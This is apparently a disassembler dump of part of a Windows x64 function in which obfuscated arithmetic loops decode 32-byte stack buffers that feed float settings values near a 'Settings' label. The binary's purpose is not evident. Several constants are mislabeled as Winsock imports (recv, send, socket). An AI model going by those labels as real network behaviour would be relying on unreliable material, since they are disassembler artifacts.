jne 0x14008afc3
lea edx, [r10 + 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6f
add dil, dl
jmp 0x14008b5ba
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b358
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ab03
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b381
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2c
jmp 0x14008b581
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008b3ae
movzx r11d, r10b
lea edx, [r11 + 0x4a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 6
jmp 0x14008b4d3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008b3e0
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008ab03
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008b415
lea edx, [r10 - 0xa]
movzx eax, r9b
and al, dl
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008ab03
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008af7f
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008b518
movzx r11d, r10b
lea edx, [r11 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x220]
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r9b
jmp 0x14008b4d6
lea ecx, [r10 + 0x4e]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x22]
jmp 0x14008b5ba
lea ecx, [r10 - 0x35]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x73
jmp 0x14008b584
lea ecx, [r10 - 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4d
jmp 0x14008b581
movzx r11d, r10b
lea edx, [r11 + 0x1f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x27
add dil, dl
sub r11b, 0x1d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x35
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x220], r9b
jmp 0x14008b581
movzx r11d, r10b
lea edx, [r11 - 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
add dil, dl
add r11b, 0xd
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5b
add r9b, r11b
mov byte [rbp + r10 + 0x220], r9b
inc r8
dec r10
inc r10
jmp 0x14008ab03
lea ecx, [r10 + 0x45]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x1d
dec r10
inc r10
jmp 0x14008ab03
lea ecx, [r10 - 0x67]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008ab03
lea rcx, [r10 + 0x867ed]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x7b
add dil, cl
lea edx, [r10 - 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0xf
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x220], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x220], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ab03
lea rcx, [r10 + 0x39a41]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x39
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ab03
sub r10b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x21
jmp 0x14008ab00
sub r10b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x14008aaf0
lea rcx, [rbp + 0x14e8e04]
jmp 0x14008b6b3
lea rcx, [rbp + 0x10fc16f]
jmp 0x14008b6b3
lea rcx, [rbp + 0x220]
xor r8d, r8d
lea rdx, [0x1401eb348]
call fcn.14003a850
test al, al
je 0x14008b708
movss xmm0, dword [0x1401eb348]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb1f8], eax
movss xmm1, dword [0x1401eb34c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401eb1fc], eax
movss xmm0, dword [0x1401eb350]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eb200], eax
call fcn.14000cc70
call fcn.14000a4c0
cmp dword [0x1401ecdbc], 2
jne 0x14008c48f
mov dword [rbp - 4], 0x42aa0000
mov dword [rbp], 0x428c0000
lea rcx, [rbp - 4]
call fcn.14001a6b0
mov dword [rbp + 4], 0x438d0000
mov dword [rbp + 8], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 4]
lea rcx, str.Settings
call fcn.140009cf0
mov byte [rbp + 0x240], 0xe1
mov byte [rbp + 0x241], 0xf2
mov byte [rbp + 0x242], 0xd8
mov byte [rbp + 0x243], 0xfe
mov byte [rbp + 0x244], recv
mov byte [rbp + 0x245], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x246], reloc.WS2_32.dll_listen
mov byte [rbp + 0x247], reloc.WS2_32.dll_listen
mov byte [rbp + 0x248], 0xbe
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x249], xmm0
mov dword [rbp + 0x259], eax
mov word [rbp + 0x25d], ax
mov byte [rbp + 0x25f], al
movabs rsi, 0x1ea8a7e061704797
movabs r15, 0xd69c9722aa11f521
movabs r14, 0x5bf9f7a12450d6c5
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x14008c42e
movzx r9d, byte [rbp + r10 + 0x240]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008c422
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008b843
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x21
jmp 0x14008b880
je 0x14008c3b1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c325
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c303
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008c2de
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c293
nop dword [rax]
cmp r8, r10
ja 0x14008c416
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14008b8b1
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x14008b900
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c273
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c251
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008c21f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c203
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c1e4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008c1b6
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008be68
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008be49
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008be25
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008be00
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008bddd
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008bdc2
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008bda7
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008bd88
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008bd69
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008bd3c
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b910
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008c3f9
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008c3dc
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008baf6
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008badb
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008bac0
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008bcf1
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008bca8
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x14008bc67
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008bc41
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008b910
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14008bc10
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14008bbf1
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14008bbd6
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14008bbbb
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14008bb9c
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14008bb79
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14008bb58
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14008bb34
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14008bb11
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14008b910
lea rbx, [r8 + 6]
lea r8, [rbx + 1]
jmp 0x14008b910
lea ecx, [r10 - 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x15
jmp 0x14008b900
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x57
jmp 0x14008b880
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x14008b806
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008c2b1
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
inc r8
dec r10
inc r10
jmp 0x14008b7f3
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
dec r10
inc r10
jmp 0x14008b7f3
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008c173
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c235
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x14008c238
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14008c33f
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c36a
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xd
mov byte [rbp + r10 + 0x240], dil
inc r10
jmp 0x14008b7f3
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
cmp r8, 4
jb 0x14008bc57
movzx r11d, r10b
lea edx, [r11 + 0x2a]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x4c]
jmp 0x14008c2b1
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
cmp rbx, 8
jae 0x14008c14d
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14008c065
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008bc7d
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x14008c19a
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14008bf59
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
jmp 0x14008bcbe
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c36a
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c33f
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14008c238
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14008c235
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c173
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008b7f3
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x14008b7f3
movzx r11d, r10b
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14008c2b1
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14008be90
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x21
jmp 0x14008bd07
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008beca
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008bef6
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c33f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008bf28
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008b7f3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008bd07
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
inc r8
dec r10
inc r10
jmp 0x14008b7f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008bf85
movzx r11d, r10b
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
jmp 0x14008c2b1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008bfb3
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
dec r10
inc r10
jmp 0x14008b7f3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008bfdb
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
jmp 0x14008c238
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c003
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
jmp 0x14008c33f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c02b
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
jmp 0x14008c36a
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008bcbe
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c0a3
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
cmp rbx, rcx
jne 0x14008c0cb
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c238
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c0f7
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c235
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c120
movzx r11d, r10b
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x14008c173
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008bc7d
movzx r11d, r10b
lea edx, [r11 - 4]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008c2ae
movzx r11d, r10b
lea edx, [r11 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x240]
sub dil, al
sub dil, 0x68
add dil, r9b
add dil, dl
sub r11b, 0x11
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x77
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x240], r9b
jmp 0x14008c235
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008c33f
lea ecx, [r10 + 1]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 7
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
lea edx, [r10 - 0x5b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7d
add dil, dl
jmp 0x14008c33f
lea ecx, [r10 + 0x77]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x41
jmp 0x14008c238
lea ecx, [r10 + 0x49]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
inc dil
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008b7f3
lea ecx, [r10 - 0x13]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7b
dec r10
inc r10
jmp 0x14008b7f3
movzx r11d, r10b
lea edx, [r11 - 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 9
jmp 0x14008c2ae
movzx r11d, r10b
lea edx, [r11 + 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x73
add dil, dl
sub r11b, 0x3f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x47
add r9b, r11b
mov byte [rbp + r10 + 0x240], r9b
inc r8
dec r10
inc r10
jmp 0x14008b7f3
lea ecx, [r10 + 7]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x31
inc r8
dec r10
inc r10
jmp 0x14008b7f3
lea ecx, [r10 - 0x27]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x11
dec r10
inc r10
jmp 0x14008b7f3
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x19
add dil, cl
lea edx, [r10 + 0x1d]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x35
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x240], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x240], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x63
movzx eax, byte [rbp + r10 + 0x240]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b7f3
add r10b, 0x73
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x25
jmp 0x14008b7f0
add r10b, 0x45
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1d
jmp 0x14008b7e0
lea rcx, [rbp + 0x1701bb4]
jmp 0x14008c435
lea rcx, [rbp + 0x60634b]
jmp 0x14008c435
lea rcx, [rbp + 0x240]
xor r8d, r8d
lea rdx, [0x1401eb358]
call fcn.14003a850
test al, al
je 0x14008c48a
movss xmm0, dword [0x1401eb358]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eada0], eax
movss xmm1, dword [0x1401eb35c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401eada4], eax
movss xmm0, dword [0x1401eb360]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401eada8], eax
call fcn.14000cc70
call fcn.14000d440
call fcn.14000d440
nop
lea rcx, [rbp + 0x670]
call fcn.140043df0
call fcn.14000c990
nop
mov rdx, qword [rbp + 0x668]
cmp rdx, 0xf
jbe 0x14008c4fc
inc rdx
mov rcx, qword [rbp + 0x650]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008c4f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008c4f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8a8
mov rcx, qword [rbp + 0x6a8]
xor rcx, rsp
call fcn.14013cd20
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm10, xmmword [r11 - 0x40]
movaps xmm11, xmmword [r11 - 0x50]
movaps xmm12, xmmword [r11 - 0x60]
movaps xmm13, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret